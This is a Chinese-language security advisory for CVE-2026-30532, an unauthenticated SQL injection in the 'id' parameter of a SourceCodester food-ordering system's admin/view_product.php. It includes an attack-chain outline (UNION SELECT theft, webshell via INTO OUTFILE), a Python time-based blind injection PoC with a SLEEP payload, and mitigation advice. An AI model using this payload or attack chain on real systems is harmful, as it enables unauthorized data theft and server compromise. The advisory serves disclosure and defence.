IPBUF安全漏洞报告
English
CVE-2026-30532 CVSS 9.8 严重

CVE-2026-30532 SourceCodester订餐系统SQL注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-30532
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Online Food Ordering System

相关标签

SQL注入SourceCodesterWeb安全远程代码执行高危漏洞

漏洞概述

SourceCodester 在线订餐系统 v1.0 版本中存在严重的 SQL 注入漏洞。该漏洞位于管理后台的 `view_product.php` 文件中,攻击者可以通过构造恶意的 "id" 参数来触发漏洞。由于该漏洞无需用户认证且无需复杂交互,远程攻击者可轻易利用此漏洞执行任意 SQL 语句,从而窃取数据库敏感信息、篡改数据或获取服务器控制权,对系统的机密性、完整性和可用性造成极高威胁。

技术细节

该漏洞的根源在于应用程序开发过程中采用了不安全的编码方式。在 `admin/view_product.php` 文件中,开发者直接将用户通过 HTTP 请求传递的 "id" 参数拼接到 SQL 查询语句中,而未使用预编译语句或 ORM 框架进行参数绑定。这种“字符串拼接”的方式使得攻击者可以通过注入单引号来闭合原本的 SQL 语法,并追加任意恶意 SQL 代码。鉴于 CVSS 向量显示无需用户交互(UI:N)且无需权限(PR:N),攻击者发现该接口后,可利用 UNION SELECT 联合查询技术读取数据库中的用户表、管理员表信息,甚至利用 INTO OUTFILE 写入 WebShell,从而获取服务器最高权限,造成灾难性的数据泄露和系统沦陷。

攻击链分析

STEP 1
信息收集
攻击者识别出目标服务器正在运行 SourceCodester 在线订餐系统 v1.0,并确定了 `admin/view_product.php` 接口的存在。
STEP 2
漏洞探测
攻击者向目标接口发送包含 SQL 注入测试 Payload(如单引号、逻辑判断)的请求,观察服务器响应以确认参数存在注入点。
STEP 3
执行攻击
利用确认的注入漏洞,攻击者构造恶意的 SQL 语句(如 UNION SELECT)进行数据窃取、绕过登录或写入 WebShell。
STEP 4
维持权限
攻击者通过获取的管理员凭证或后门文件,维持对目标服务器的长期控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-30532 - SQL Injection in SourceCodester Online Food Ordering System v1.0 # Vulnerable file: admin/view_product.php # Parameter: id import requests target_url = "http://target_ip/admin/view_product.php" # Payload to demonstrate SQL injection (e.g., time-based) payload = "?id=1' AND SLEEP(5)-- -" try: print(f"[*] Sending request to {target_url}...") response = requests.get(target_url + payload) # Check if the response time indicates a successful blind SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") else: print("[-] Vulnerability not confirmed or payload incorrect.") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

SourceCodester Online Food Ordering System 1.0

防御指南

临时缓解措施
建议立即在 `admin/view_product.php` 代码中对 "id" 参数进行强制类型转换(例如 `(int)$_GET['id']`)或使用正则表达式过滤特殊字符。同时,应通过 WAF(Web应用防火墙)拦截针对该参数的常见 SQL 注入攻击模式,并限制管理后台的访问来源 IP 地址。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表